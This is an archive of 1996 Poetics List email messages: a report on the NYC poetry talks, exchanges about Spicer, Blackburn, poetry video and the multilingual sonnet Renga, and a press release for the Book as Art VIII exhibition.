Saturday morning's show opened pretty close to the 10 a.m. kickoff time. Because I'd boiled my head off the day before in the oval conference room (with the fluorescent ((halogen?)) lights that made a sound as they turned themselves off to cool), I sat in the other room with the windows on the park and on University Place to hear the other Poetry and Tradition panel. Louis Cabri spoke first.. forgive me Louis, but I came in late, mentally. Lisa Jarnot elaborated on the "rebuilding the wheel" complaint (which, coincidentally, has often been levelled at the generation best-represented at the conference). It may be, she said, that some poets are making not wheels, but toasters, or hockey sticks. One thing is certain, she added, if they've made a toaster, they have already how to make their wheel. Bill Luoma read the piece "Tony Door's Neighborhood", about neighborhoods and subneighborhoods in Brooklyn, published earlier this year on the poetics list. It was a bold allegorical move. Doug Rothschild opened with a number from "Fiddler on the Roof", and segued into a "Doing it for the Money" medley. Chris Stroffolino ought to summarize his piece, because who can summarize Chris and do him justice? Mark Wallace spoke next, and again, I hope Mark will reiterate his gist. There was a vigorous debate afterwards, Kim Lyons, Jennifer Moxley, Lee Ann Brown (I think) and Stephen Rodefer asking the tough questions. As it grew closer to my panel. Wow, that's a science-fiction fragment. As it grew closer to my panel, I became less focused on the discussion, but I remember Douglass Rothschild advising us that University Place was a far superior poem. There was some echo of Tim Davis's suggestion the previous day that maybe less poetry should be produced. I was unsure whether this was a kind of new shakerism or a kind of self-loathing (in which I was an exciteable participant) induced by great volume.

The noon panel on poetic forms, featuring Beth Anderson, Steven Farmer, Jessica Grim, Joel Kuszai and Sean Killian, was very well attended. Someone can report, yes? Back in poetry and technology, I spoke first about why I hate computers, why I like the poetics list, how the range qabal works, and how to teach poetry writing to children using email and irc. Chris Funkhouser read from his manuscript on poetry, hypertext, and computers. Brian Kim Stefans talked about using Lotus 1-2-3 to generate sestinas while he was working at the Museum of Modern Art in the telecommunications department. Sam Truitt read a

very intense piece of 'virtual language', sort of the verbal equivalent of Stereolab's "Jenny Ondioline" (although I'm sure that's not Sam's point of reference.. I just grooved into it that way). Afterwards, there were a few questions for Chris about the production of the Little Magazine CD rom, a few questions for the panel about the uses of computer failure, and an exhortation from me to the floor to create hard copy from all e-mail exchanges. The correspondence must not be lost.

Then it was off to the ear. Elena Alexander read from what seemed to me a Ron Silliman-influenced piece (in method) about the human body. In a change of program, Louis Cabri read next--sample of Louis's style: "Caution: punchline". The calm, modest, un-mugging delivery was not familiar.. ten knockout lines in a row. Bill Howe came up and just started ranting and walking around, passing out file cards from his own laserprinted self-written I Ching. Then everybody around me started doing the same thing. Stephen Rodefer started shouting, "Please, some of us are trying to eat!" and "Please, some of us are pregnant!" Rod Smith repeated the line "Does anybody think that all good art is unengaging?" Howe returned to the mic and repeated the word "sheep" for a few minutes. A bravura preformance. Nancy Shaw and Catriona Strang sobered the room up with a work well loaded with tensions and suggestions, romantic, social, political and economic. Rodrigo Toscano cleaned up with work about the beach. Now, there's a lot of work out there about being at the beach, but none I think that gets Rodrigo's almost Bakhtinian sense of the beach as cultural dialogic, you know, _a scene_. Which sense he got through my suspicious head by means of strong (subtle) rhythms shifting quickly into other cadences.

There was a pause of a few hours, and then we reconvened at Ichor, the Maeght of the future. If you are in the area of 127 W 26, you might stop in and look at the show. The space was filled to capacity, as usual, and I could barely hear the designated-Stacy-Doris from the deep north of Minnesota, Robert Kocik, from the doorway. It sounded good, as if the old dream of writing as intelligently as Wittgenstein _in an artistic mode_ were not only possible, but fun. As I said later to Fiona Templeton, I valorize fun. I really couldn't hear a thing until Ben Friedlander, whom I'd been waiting a couple of years to hear, came on. He opened with a list of titles of poems he did not plan to read, and then read several of the best poems I've heard in this new style that seems to be emerging, a merging of Bruce Andrews' ear and Clark Coolidge's ideas of sequence and sense. A sort of leaning into the obvious and finding strange new meanings in deliberation. There was a break. Frustrated by my location just outside the door, I went to a friend's birthday part and missed what I'm told were great readings by Melanie Neilson, Kim Rosenfield and I think Jessica Grim. Phooey, or argh. I think they're all reading at the Big Allis show in May, though.

It's Bruce Andrews' birthday today. Put him in your thoughts.

Back in time for the party at Segue. Kristin Prevallet and Alan Gilbert were giving away copies of Swallowing the Scroll, Apex 3 and 4, and many leave books. I picked up a copy of Kristin's "Mad Sarah" a poem printed for the conference. If you get the chance, grab a copy. It's cinematic about the bible, it's good. Joel Kuszai had the Meow books out, I got _Broken English_ and _Xing_. Bruce Andrews said the next day that he'd never seen people sitting on the floor at Segue, that he was thinking bongos and berets were next.

And that was the end of Saturday. Sorry about the lacunae, it was one of those thousands of cases when greed for experience made me regret I could only do one thing at a time.

Jordan Davis

↑ Index

7. Kevin Killian

Re: Spicer and art

Mon 1 Apr 1996

Michael Boughn wrote:

I have a held a book by Fran Herndon consisting of collages she worked on with Spicer. They're marvelous. I can't remember the name of the book now. Perhaps Kevin can help. If not, I'm sure it could be tracked down. As visual evocations of the spirit of Spicer's work, they're impeccable.

> *I haven't yet been able to find the name of the book of Fran Herndon's collages, but was reminded that she produced lithographs to accompany the poems in the Auerhahn edition of _Heads of the Town Up to the Aether_.*

This is Kevin Killian speaking. The name of the Herndon book is "Everything as Expected," by James Herndon, who was then married to Fran Herndon, and who had gone to UC Berkeley and met Spicer there in the late forties. Spicer encouraged Fran, Jim's second wife, to send her children to day school (a rare move in the late fifties) and take up classes at the SF Art Institute, where she learned how to make lithographs. They then collaborated on the poems from "Homage to Creeley," which is the first part of Spicer's book "The Heads of the Town up to the Aether." "Homage to Creeley" was printed separately, without Herndon's lithos, and Spicer, dissatisfied, insisted that Auerhahn use her work to accompany his poems in the complete version of "Heads."

A few years later she began the collages Michael is talking about. During the 1986 Spicer Conference that Maria and others have recalled, Jim Herndon gave away for free to attendees the last remaining copies of his book "Everything as Expected," which is a detailed, kind of quirky, study of the Spicer/Herndon

collaborations. (Dear Aaron Vidaver, that conference was actually called something like "Jack Spicer Conference/White Rabbit Symposium," and "Spicer in Context" was only the name of one of the particular panels.) Last summer, Scott Watson curated the show "In Search of Orpheus" to accompany the Blaser Conference, and included I think all of Herndon's lithographs from "Homage to Creeley" and many of the so-called "sports collages" of the slightly later period. Fran Herndon herself was in attendance. Well, they are stunning indeed. Dodie and I bought one of the lithos ("The Death of the Poet") and one of the collages ("Ghost Riders" IMHO the most beautiful) so, come on over everyone and check it out!

Herndon is very much a working artist today. If anyone is interested, back channel me for more details. She lives in San Francisco and is sometimes seen at poetry readings, vernissages, etc. She has been inestimably helpful to me and Lew Ellingham as we have been writing a biography of Jack Spicer, and helpful to many other scholars and writers too. Before her marriage, the poet Elizabeth Robinson lived with Fran, and after ER moved out, the poet George Albon moved in, and lives there today.

Hope this helps. -Kevin K.

↑ Index

8. Burt Kimmelman
Re: books on Blackburn and Bunting???
Mon 1 Apr 1996

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here's one on pb that most folks might not think of (and I SEEM to recall something on blackburn there): The Dramaturgy of Style by Michael Stephens.

Also, Tandy Sturgeon had a piece on PB and the troubadours not too too long ago in Sagetrieb.

I have an interest in PB, so if anyone wishes to give me a full bib I would welcome it.

burt kimmelman

↑ Index

9. Burt Kimmelman
Re: books on Blackburn and Bunting???
Mon 1 Apr 1996

---

there is also my piece "Ezra Pound's Medievalism and the American Avant-Garde" (Arkansas Quarterly but at the moment here at this terminal i don't have

the volume and issue number and date--anyway a couple of years agao) which I think you have, no?

this piece has something on PB too.

burt kimmelman

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10. Robert A Harrison
Visual Poetry
Mon 1 Apr 1996

> *A recent visual poetry catalogue for an exhibition in Milwaukee (is Bob Harrison still on this list -- he can give details?) began with a foreword by Drucker and ended with an afterword by Karl Young.*

Hi Charles, yeah I'm still here.

The poetry catalog for the Hermetic Gallery VP show is still available. Costs 8 dollars. Anybody wants one send me an email with your street address. Has work by:

Dick Higgins
Irving Weiss
Daniel Davidson
Peter Balestrieri
Steve McCaffery
Spencer Selby
Pete Spence
Crag Hill
Nico Vassilakis
John Cayley
Fernando Aguiar
Karl Young
Johanna Drucker
Leroy Gorman
John Byrum
John M. Bennett
    & Susan Smith Nash
Clemente Padin
Steve Nelson - Raney
Bob Grumman
Hachivi Edgar Heap of Birds
Karl Kempton
Thomas Taylor
Avelino de Araujo

Thanks.

Bob Harrison
[redacted]

↑ Index

11. Pierre Joris
Re: books on Blackburn and Bunting???
Mon 1 Apr 1996

Off hand, re Blackburn, you may want to check the issue of my long-defunct magazine SIXPACK (issue 7/8, 1974) which was a special Paul Blackburn hommage. Besides work by PB, & mult hoimmage poems & texts for him, the issue also contains a number of critical essays, by the likes of Eric Mottram, Carl Thayer, Cid Corman, Gil Sorrentino, Armand Schwerner & others. -- Pierre

========== Pierre Joris | "Form fascinates when one no longer has the force Dept. of English | to understand force from within itself. That SUNY Albany | is, to create." -- Jacques Derrida Albany NY 12222 | tel&fax:[redacted] | "Poetry is the promise of a language." email: | -- Friedrich Holderlin [redacted]|
==========

↑ Index

12. Priscilla Wong
Hello!
Mon 1 Apr 1996

Hi Everybody,

I just wanted to let you people know that I am new to this list. From the messages that I have received, I am very interested in what this discussion list has to offer.

I hope to hear from at least some of you, if not all of you. Have a great day.

Priscilla

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13. MAXINE CHERNOFF
Re: Poetry Video
Mon 1 Apr 1996

Dear Tim Wood,

I ordered perhaps 100 poetry videos from various providers including the entire Lannan series for use in teaching and was disappointed at how little of it proved useful. I had to preview everthing and excerpt the 5 or 10 minutes that had relevance to my class. Many tapes can't be screened in class at all because they're too dull. I haven't seen United States of Poetry yet but hear that it's tightly edited and a bit lively. When poetry is on video it appears that it has to follow the rules of video; must be fast-paced and in-your-face.

Are you interested in poetry and film collaborations? I wrote the script for Joseph Ramirez's 90 minute film VIRIDIAN which had its premiere at The Film Center of School of the Art Institute in Chicago--a five-screening run in fall of 1994. There are four poems in the movie used as voice-over and the movie began as a seven-page prose poem that was expanded to a full-length work. Joe approached me because he wanted a poetic film. One curiosity of the collaboration is that the four poems were produced by running the final script through TRAVESTY, a software "randomizing" program. So the prose poem became a script became poetry again, this time in verse. We had packed houses in a 300 seat auditorium because we were the film "pick of the week" in the Chicago Reader.

Susan Gevirtz is researching the subject of poetry and film, if you're interested.

Paul Hoover

On Sun, 31 Mar 1996, Tim Wood wrote:

> *Hello all...*
>
> *I'm doing research into poetry video. I've already contacted a number of people in Chicago, SF and the NE, but I'm still looking for additional material. This would include all the usual primary and secondary suspects. Of course, even a name or an idea would be welcome...*
>
> *thanks,*
> *Tim Wood*
>
> *in space no one can hear you scream*
> *in Dallas no one cares...*
>
> ---
>
> *Check out the Voices new poetry website at http://www.connect.net/twood/*
> *the Word, Dallas' monthly arts guide: http://www/connect.net/twood/word.html*
> *poetry & video poetry ---- graphic design & database development*

↑ Index

14. Chris Stroffolino
Re: For Nicanor Parra
Mon 1 Apr 1996

dear alan sondheim--
thanks for the poem....
I too love PARRA
("funerales no, muerte si!")
but haven't read him in awhile
and am curious why you choose to dedicate your poem to him...
does it "refer" to any particular Parra? just curious...
chris

↑ Index

15. John E. Matthias
The Western Renga
Mon 1 Apr 1996

In the various postings about contemporary sonnets, I'm surprised the remarkable experiment in sonnet-making by Octavio Paz, Jacques Roubaud, Eduardo Sanguineti, and Charles Tomlinson hasn't come up. During a week in 1969 the Mexican, French, Italian and English poets met in Paris to write what they took to be the first western Renga. Instead of writing successively stanzas of three and two lines (with a fixed syllable count), they chose to work in a form, the sonnet, common to the Spanish, French, Italian, and English traditions. As well as being collaborative, the experiment is also polylingual:In the first sonnet a quatrain in Spanish is followed by a quatrain in English, a tercet in French, and a tercet in Italian. Then come the permutations: Italian, Spanish, English, French; French, Italian, Spanish, English; English, French, Italian, Spanish, and so on. There are 27 sonnets, 27 sets of permutations. The original edition, dedicated to Andre Breton, was published in France by Gallimard in 1971. I have an American edition from George Braziller that includes facing page English translations by Tomlinson. There is a foreword by Claude Roy, an introduction by Paz, an essay on the Japanese Renga tradition by Roubaud, and a retrospect by Tomlinson. I think at some point the book was also a Penguin; it is probably now out of print. It struck me at the time, and it strikes me now, as one of the most important experiments of a highly experimental decade. The first poem looks (and sounds) like this:

El sol marcha sobre huesos ateridos:
en la camara subterranea: gestaciones:
las bocas del metro son ya hormigueros.
Cesa el sueno: comienzan los lenguajes:

and the gestureless speech of things unfreezes
as the shadow, gathering under the vertical
raised lip of the columns' fluting, spreads
its inkstain into the wrinkles of weathered stone:

Car la pierre peut-etre est une vigne
la pierre ou des fourmis jettent leur acide,
une parole preparee dans cette grotte

Principi, tomba e teca, sollevano salive de spettri:
la mia mandibola mordeva le sue sillabe di sabbia:
ero reliquia e clessidra per i vetri dell' occidente:

* * *

Sorry about the absence of diacritical marks; I haven't figured a way to produce them for these postings.

I wonder if any of the _Renga_ will be in Vol.Two of _Poems for the Millennium_.

John Matthias

↑ Index

16. William Northcutt
books on Blackburn and Bunting???
Mon 1 Apr 1996

-- [From: William Northcutt * EMC.Ver #2.5.02] --

Do any of you have recommendations for pieces/books of introduction to Bunting's work and to Paul Blackburn's work? With very limited time to read this stuff for pleasure, I'm looking for the absolute most lucid bits. Many thanks en avance, William

[redacted]

--

William Northcutt
Englische Literaturwissenschaft
GWII
Universitaet Bayreuth
95440 Bayreuth, Germany
0921/553577
fax 0921/553641
email: [redacted]

↑ Index

17. Charles Alexander
artists' books
Mon 1 Apr 1996

Dear Poetics List:

In a couple of recent messages concerning the book as a unit of structure (and more), I have mentioned Granary Books. So when I received this message on a book arts list, I thought I should forward it to Poetics for all those interested.

charles

> *Date: Mon, 1 Apr 1996 12:22:23 -0500*
> *Reply-To: "The Book Arts: binding, typography, collecting"*
> *<[redacted]>*
> *Sender: "The Book Arts: binding, typography, collecting"*
> *<[redacted]>*
> *From: Steven Clay <[redacted]>*
> *Subject: artists' books*
> *To: Multiple recipients of list BOOK_ARTS-L*
> *<[redacted]>*
> *X-UIDL: 828386749.006*
>
> *The Granary Books website is now up and beaming:*
>
> *www.granarybooks.com*
>
> *a very simulated look at fifteen or so recent publications.*
> *(you'll see it/them most effectively using netscape navigator 2.0)*
>
> *best wishes to all,*
>
> *steve clay*

↑ Index

18. Ward Tietz
Re: assemblings and multi-media books
Mon 1 Apr 1996

Charles,

Thanks for your postings on assemblings and multi-media books. There is certainly a lot to consider in terms of the structure of a work's presentation. I agree with your comments on technical seamlessness. It seems to allow works to be more presentationally transparent and legible, but this feature, in some contexts, probably restricts the development of other compositional strategies.

Some of the cruder multiples/assemblies I was referring to rely quite heavily on a fortuitous sense of material. They depend quite a lot on scrounging, finding multiples of things so that the notion of an edition can be maintained. Despite the abundance of text they may contain, they tend to function more like artifacts and lose that sense of placelessness that books often support. On the other hand they are often able to celebrate and foreground a locality, a fortuitousness and liberty of combination, that is very much rooted in a particular time and place. That can be interesting too.

Ward Tietz

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19. Alan Sondheim

Re: For Nicanor Parra

Mon 1 Apr 1996

Refers to the Antipoems, in particular I am the Individual (forget the title - I'm at work), and the dry clipped style... Do you know if he is still alive and writing?

Alan

On Mon, 1 Apr 1996, Chris Stroffolino wrote:

> *dear alan sondheim--*
> *thanks for the poem....*
> *I too love PARRA*
> *("funerales no, muerte si!")*
> *but haven't read him in awhile*
> *and am curious why you choose to dedicate your poem to him...*
> *does it "refer" to any particular Parra? just curious...*
> *chris*

With some new texts and image files -
http://jefferson.village.virginia.edu/~spoons/internet_txt.html
Other images at http://www.cs.unca.edu/~davidson/pix/

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20. Pierre Joris

Re: The Western Renga

Mon 1 Apr 1996

John -- unhappily none of that renga will be in MIllennium vol II, though both Jerry & I do like it. It is indeed a fascinating experiment, though I wouldn't necessarily consider it as the most original experiment of that decade. On the other

hand, Paz, Roubaud & Sanguinetti are in MILLENNIUM with works of their own, if not with their collaboration. -- Pierre

========== Pierre Joris | "Form fascinates when one no longer has the force Dept. of English | to understand force from within itself. That SUNY Albany | is, to create." -- Jacques Derrida Albany NY 12222 | tel&fax:[redacted] | "Poetry is the promise of a language." email: | -- Friedrich Holderlin [redacted]| ==========

On Mon, 1 Apr 1996, John E. Matthias wrote:

> *In the various postings about contemporary sonnets, I'm surprised the remarkable experiment in sonnet-making by Octavio Paz, Jacques Roubaud, Eduardo Sanguineti, and Charles Tomlinson hasn't come up. During a week in 1969 the Mexican, French, Italian and English poets met in Paris to write what they took to be the first western Renga. Instead of writing successively stanzas of three and two lines (with a fixed syllable count), they chose to work in a form, the sonnet, common to the Spanish, French, Italian, and English traditions. As well as being collaborative, the experiment is also polylingual:In the first sonnet a quatrain in Spanish is followed by a quatrain in English, a tercet in French, and a tercet in Italian. Then come the permutations: Italian, Spanish, English, French; French, Italian, Spanish, English; English, French, Italian, Spanish, and so on. There are 27 sonnets, 27 sets of permutations. The original edition, dedicated to Andre Breton, was published in France by Gallimard in 1971. I have an American edition from George Braziller that includes facing page English translations by Tomlinson. There is a foreword by Claude Roy, an introduction by Paz, an essay on the Japanese Renga tradition by Roubaud, and a retrospect by Tomlinson. I think at some point the book was also a Penguin; it is probably now out of print. It struck me at the time, and it strikes me now, as one of the most important experiments of a highly experimental decade. The first poem looks (and sounds) like this:*
>
> *El sol marcha sobre huesos ateridos:*
> *en la camara subterranea: gestaciones:*
> *las bocas del metro son ya hormigueros.*
> *Cesa el sueno: comienzan los lenguajes:*
>
> *and the gestureless speech of things unfreezes*
> *as the shadow, gathering under the vertical*
> *raised lip of the columns' fluting, spreads*
> *its inkstain into the wrinkles of weathered stone:*
>
> *Car la pierre peut-etre est une vigne*

> *la pierre ou des fourmis jettent leur acide,*
> *une parole preparee dans cette grotte*
>
> *Principi, tomba e teca, sollevano salive de spettri:*
> *la mia mandibola mordeva le sue sillabe di sabbia:*
> *ero reliquia e clessidra per i vetri dell' occidente:*
>
> * * *
>
> *Sorry about the absence of diacritical marks; I haven't figured a way to produce them for these postings.*
>
> *I wonder if any of the _Renga_ will be in Vol.Two of _Poems for the Millennium_.*
>
> *John Matthias*

↑ Index

21. **Maria Damon**

Re: new york city talks--saturday

Mon 1 Apr 1996

---

thanks for the yummy fulsome reports and kudos to all. my major poetry event of the day was lying in the sun; woods hole were paradise enow. maria d

↑ Index

22. **Maria Damon**

Re: Announcing _Broken English_ by Dodie Bellamy & Bob Harrison

Mon 1 Apr 1996

---

hey there joel,
please send the friedlander, brannen and bellamy!
bests, maria d
128 racing beach ave
falmouth ma 02540

by the way, i'm only gonna be here for another 2.5 months, so i'd welcome and fawn on all visitors...
maria d

↑ Index

23. Ken Edwards
sonnet blues
Mon 1 Apr 1996

I'm glad Tony Green mentioned the blues in connection with sonnets. It occurs to me you could equally make the assertion "the blues always says the same thing".

Musicological definitions of the blues usually go along the lines of "twelve bars divided into three groups of four, with flattened thirds and sevenths" or else they talk about tonic, subdominant and dominant chords. Then you listen to, say, John Lee Hooker and he's doing something quite irregular and amazing which is nevertheless recognisably the blues.

I've been obsessed with this connection for some time. "Poems of fourteen lines of iambic pentameter, with a rhyme scheme of..." Hmm. Personally, I think Wyatt was the John Lee Hooker of the 16th century.

↑ Index

24. Ken Edwards
Barry MacSweeney
Mon 1 Apr 1996

Dunno if _Black Torch_ is still in print but you could try writing to Allen Fisher, who published it under his Spanner imprint. Allen is at 14 Hopton Rd, Hereford HR1 1BE, UK. He doesn't as far as I know have email.

↑ Index

25. Chris Stroffolino
Re: new york city, a bag
Mon 1 Apr 1996

THINGS TO DO AFTER THE NYU POETRY TALKS a continued convergance of mysterians Ask Carla Billeteri if I can see what she's written on Laura Riding Ask Joel Kuszai, Beth Anderson, Sean Killian and others on that panel if they'd be willing to continue the discussion of maximalism vs. minimalism in a forum Mark Wallace will do his damnedest to get published Ask Kim Rosenfeld and others about gendered essentialism... Try to get a copy of the Shaw/Strang collab piece in which they say "reality threw a series of backbones" and refer to the "boxy little realisim" of "lineage" and the Louis Cabri piece in which he says "i wanna be erected" and "ego chaos machine" Condemn the privitization Buck Downs spoke in favor of (Jordan claims he seconded buck, but I remember him only half jokingly begging for a local millionaire) Reopen the question, posed by Kristen P., and evaded by

her immediate interlocutors, about what "language itself" really means, and how it functions in discourse? transcendental signified anyone????? Get Rob Fitterman to expound on CONTROL and LETTING? (i mean LET him....) Write Dan Farrell about BOO magazine (and send him check in American $$$$) Question the young advocates of the lyric about whether it is a mere "reaction"? And may it repeat the gestures of previous exclusionary tendencies? Or does it allow a new eclecticism, if not per se a new synthesis? Send Stephen Rodefer poems, and try to get the copy of his broadside to Stephanie Seymour. Read "In Memory Of My Theories" and write an essay called "In Memory Of MY Queries" Write Sianne Ngai for a copy of her poem in which she wrote "I had nothing in my mind/But I changed it" and procure copy of her magazine BLACK BREAD Ask Joe Ross to tell some "success stories" about how he, as editor of Washington Review, was able to overcome specific resistances to non-linear, non-"realistic" verse, etc. Try to get X and/or M and/or R and/or A to leave her boyfriend, at least for an affair Try to get Bill Luoma to write an essay explaining what the restaurant MONTE's symbolizes in his allegory (but don't expect a straight answer) Thank Louis Cabri for switching places with me Get a tape of the panel with Ben F. and Nancy S. (etc.) that I missed... See if Jordan D. wants to continue the collab. we started during the collab. panel. Quote these lines from Ashbery for Mark Wallace: "But most of all she loved the particles that transform objects of the same category into particular ones, each distinct within and apart from its own class" Reopen the question as to whether what is needed at this time in Canada is similar, and/or how it differs, from what is needed at this time in the States, and ask what can be learned by the USA poets from the canadians present, and is it possible to go the "wrong" way down the one way street of imperialism i mean the free trade agreement.... Notice how the americans for the most part dodged any question of politics except that of "the politics of poetic form".... Resist the temptation to compare this conference unfavorably to the NEW COAST ONE (in terms of diversity, lack of coffee, two panels at once...) or favorably (in terms of the great FORM panel, the superiority of NYC to a "riot proff campus...") Hope and prey that someone publishes it as a book (good suggestion, ron) and keep reminding ROB F. to include the question and answer sessions in it too and let people revise their comments (which I have a hunch Perelman did with WRITING TALKS...) Suggest that there be commemorative t-shirts with BIG QUESTION MARKS on the back, and tell Kevin Davies he can wear it over his CLASS OF 78 shirt. Find out whether it was Fiona Templeton or Melanie N. who said that we shouldn't think of an "audience" as much as a "perceiver"... Ask Bernadette Mayer for her correspondence with LAURA RIDING, then try to get it published. Ask James Sherry if I can stay at the Hotel Sherry-ton while I look for a job in NYC.... Ask Jessica Grim if she was serious about her banishment of

"touchy feely stuff....heaven forbid" from what Larry Price would call an explanatoy register... Ask Lisa J. what she meant when she said I ALMOST didn't pull off my fish poem at my reading.... Don't forget the ghoulish doorman at the ICHOR and the rose colored glasses charles bernstein (if not willie loman) had on.... and be sure to wish bruce andrews a happy april fool's day....

↑ Index

26. Ron Silliman

Re: new york city, a bag

Mon 1 Apr 1996

Chris,

If that's a typo, it's the best one I've seen on the list in some time...

"Hope and prey"

Ron

↑ Index

27. Stephen Galen Cope

poetry video

Tue 2 Apr 1996

Tim Wood et al:

We Press did a video a few years back. The budget was shoestring (if that), so it's nothing like, say, MTV would be interested in, but you might? You can currently reach WE at

We Press
POBox 1503
Santa Cruz, CA 95061
[redacted]

or by contacting

[redacted]

Best of luck,

Stephen Cope

↑ Index

28. Bill Luoma
NYC walkie talkie
Tue 2 Apr 1996

Re: the NYC Poetry Talks, Ron Silliman wrote:

> *(1) I hope somebody plans to collect all this material into a book.*

Rob Fitterman and I are going to edit the material presented and somehow git a book printed. Since RobF isn't on email, i'm going to act as the focal point for collecting electronic versions of the talks. Anyone who talked, please email your text to me if you would like to have your work printed. Attachments over the internet have been working. text in email bodies are fine as well. images can work.

send to [redacted]

If you want to mail your docs to me, I'm:
Bill Luoma
280 Court St #4
Brooklyn, NY 11231

The events were taped, but transcription seems like an unwieldy task. Does anyone know of a desktop (mac or windows) program that listens to tape recorders and writes that info to text files?

LossG, CharlesB, would it be appropriate to create a space for this material at the EPC?

Bill Luoma

↑ Index

29. Robert Drake
Re: poetry video
Tue 2 Apr 1996

Open Letter did a series of articles on, er, about video, spread over the winter, spring & summer 1993 issues. i only have the summer issue (because it also has an interview w/ bpNichol); while it doesn't talk much about video tapes of poetry performances, it does talk about the poetics ov video as a medium... mann's _Poetry in Motion_ is still my fave poetry video & it is a film, & i haven't seem USovP (tho the soundtrack just came in the mail)...

lbd

↑ Index

30. Hen
Re: author of M
Tue 2 Apr 1996

On Sat, 30 Mar 1996 16:44:49 -0800 Peter Quartermain said:
>this were later reprinted on the last pages (pages 1016-1017) of Moore's M:
>ONE THOUSAND AUTOBIOGRAPHICAL SONNETS (Harcourt Brace 1938).
The Foreword is
>titled "Merrill Moore's Sonnets: Present total, steadily mounting, 50,000."
>I don't know what he said about the sonnet there, since I haven't read it.

Maybe WCW's comment about all sonnets sounding the same was made shortly after he steamed through MM's 34,000th. - HG

↑ Index

31. Peter Baker
Blackburn bibl.
Tue 2 Apr 1996

I've never had any response to a piece I wrote published in _Sagetrieb_:

Peter Baker, "Blackburn's Gift," _Sagetrieb_ 12:1 (1993) 43-54.

Would be interested to hear what folks think.

In part a response to Marjorie Perloff's negative evaluation, in her review- essay: "On the Other Side of the Field: _The Collected Poems of Paul Blackburn_" in _Poetic License_ (Northwestern, 1990) 251-265.

A good discussion of Blackburn's seriality appears as a chapter in Joseph Conte's _Unending Design_ (Cornell, 1991[?]).

Peace,
Peter

↑ Index

32. Burt Kimmelman
Re: Blackburn bibl.
Tue 2 Apr 1996

Peter,

Yes now I somewhat remember your piece and am in sympathy with it (especially as regards Marjorie's review). Thanks for mentioning it.

Burt Kimmelman

↑ Index

33. Jeffrey W. Timmons
Book as Art VIII: Press Release
Tue 2 Apr 1996

Ok, here it is. I can't wait to see it myself. Hope others do too.

Jeffrey Timmons

Washington, D.C.-- April 1996 -- The Library and Research Center (LRC) of the National Museum of Women in the Arts (NMWA) presents its eighth annual exhibition of artists' books, Book as Art VIII, opening April 15 and continuing through October 25, 1996. The exhibition, on display in the LRC, is open to the public from 10 a.m. until 5 p.m., Monday through Saturday.

Artists' books are intimate, multi-faceted objects ranging from traditional illustrated volumes to more unconventional artworks which use the book form to explore ideas, color, shape and imagery. In content, artists' books cover the gamut from confessional diaries to political manifestoes. Visually, many works take the narrative form to unexpected extremes: for example, a chain letter in Katherine Ng's Book of Chain literally becomes a chain of paper links printed with words.

On view are more than sixty unique books, book-sculptures, limited editions and related works created by forty artists from the United States, Argentina, Bulgaria, France, Germany, Italy and Switzerland. Many of the artists are from the Washington area, including Rose Folsom, Shireen Holman, Margo Klass, Doris Rief, Betty Sweren, Molly Van Nice (a former Washingtonian) and Ann Zahn. Krystyna Wasserman, Director of the Library and Research Center, curated the show.

Poetry and music have been an inspiration for many artists in this exhibition. Julie Chen's book, Radio Silence, sends via her poem a coded message of distress to her beloved. Michele Burgess probes a poem by Nancy Willard in her book Poem Made of Water, in which Willard compares the power of water to the creative power of language: both can heal, hurt and inspire. Rose Folsom, a Washington calligrapher, whose beautiful writing enchanted Queen Elisabeth II, transcribed May Sarton's poem, "Her Nightly Journey" — a dramatic journey into the heart of darkness. The poet Mary Louise Cox published Images of a Voice in collaboration with painter Lou Hicks to celebrate her seventieth birthday. Throughout her life, Shireen Holman has tried to integrate two very different cultures: that of India, where she grew up, with America where she now lives. Her book, Stream of Life, in the shape of a wooden houseboat from Dal Lake in the mountains of Kashmir, includes poems by her cousin Tom Galt. Karen Kunc, the winner of the NMWA Library Fellows Award in 1995, created On This Land with poet Lenora Castillo. This book of woodcuts portrays the

austere beauty of Nebraska, its farmland and open sky and reflects a gradual process of acceptance and attachment to the new landscape. Sir Stephen Spender's poem "Dolphins" inspired Alice Simpson's pop-up tale of carefree swimmers playing with dolphins. Helen Frankenthaler's first artist's book, A Valentine for Mr. Wonderful, includes the poem "St. Valentine" by William Carlos Williams. "This valentine for my husband seemed to pour out of me, as if it flowed from my heart through my fingertips and onto the copper plates," says the artist. "My first book fell into place like a little rose — and a surprise to me! . . . In a way, I felt I had very little to do with it. A direct hit from the Cupid's arrow." Song of Songs, a hymn of love in its physical and spiritual incarnation, inspired Rita Galle's illustrations of this unique book of the Bible.

Music is the theme of Elena Presser's bookworks. The thirty Goldberg Variations, composed by Johann Sebastian Bach in 1741 (to cheer up Count Kayserling during his sleepless nights), resulted in a series of Presser's unique works of fragile beauty and calm. Jan Owen's Synku (my little son) is another masterful visual response to music. Owen's inspiration was Symphony No. 3 by the contemporary Polish composer Henryk Gorecki. She chose William Blake's poem "Night" to accompany Gorecki's music. The poet and the composer lament the evil in nature and hope for the day when "the lion can lie down with the lamb." Evelyn Eller created Music Box, a book-sculpture containing scrolls of musical notation by Robert Schuman and Felix Mendelssohn.

Letters have been another source of inspiration for artists. Beverly Nichols transcribed and illustrated Three Letters of Georgia O'Keeffe. Katherine Ng transformed letters written to her by her father into an ingenious book, Fortune Ate Me, made from a box of fortune cookies. The fortunes are her father's "words of wisdom." Her replies to these paternal admonitions are notes printed on the inside surface of the cookies. Jan Gilbert used a letter from an American soldier in Vietnam as the subject of her moving book Memorial to Bobby: The Red Letter Day.

Autobiographical books have been part of every Book as Art exhibition since the series' inauguration in 1987. This show is no exception. Philomena Robinson, the second 1995 Library Fellows award winner, created Completing the Circle, a free-standing circular book-sculpture in which she recalls small incidents and moments that have shaped her life. "This book — its colors, forms and poetry — holds my image, my joy and my pain," says Robinson. "It is a connection to all people who have been important to me, to history and . . . to the future. It is what I hope to share with other women." In Autobiography, Linda Rubinstein recalls memories of her teenage years. Doris Rief's From Death to Life was born of despair: "Pouring out words of anger and pain allowed me to get through a terrible time — my husband's illness that ended in his death." Mary Segal creates visual diaries, each day of her life resulting in a small square

drawing. Segal's The Story of Me chronicles events related to motherhood, family, career and aging — the subjects which absorb her most. In The Marc Ballroom, Alice Simpson remembers "dirty dancing" and the profane, forbidden atmosphere of urban romance stirred by the languid songs and the sensuous rhythms of 1950s New York. Allison Smith's Self-Portrait, produced during her residency in Ireland, compiles daily visual and verbal entries related to her art and personal evolution. Ann Zahn's Carousel evokes her childhood and the pleasure of riding the carousel in Glen Echo Park in Maryland. Ann Starr's Several Thoughts Concerning Clinical Depression expresses the overwhelming sorrow experienced by all those who suffer from clinical depression.

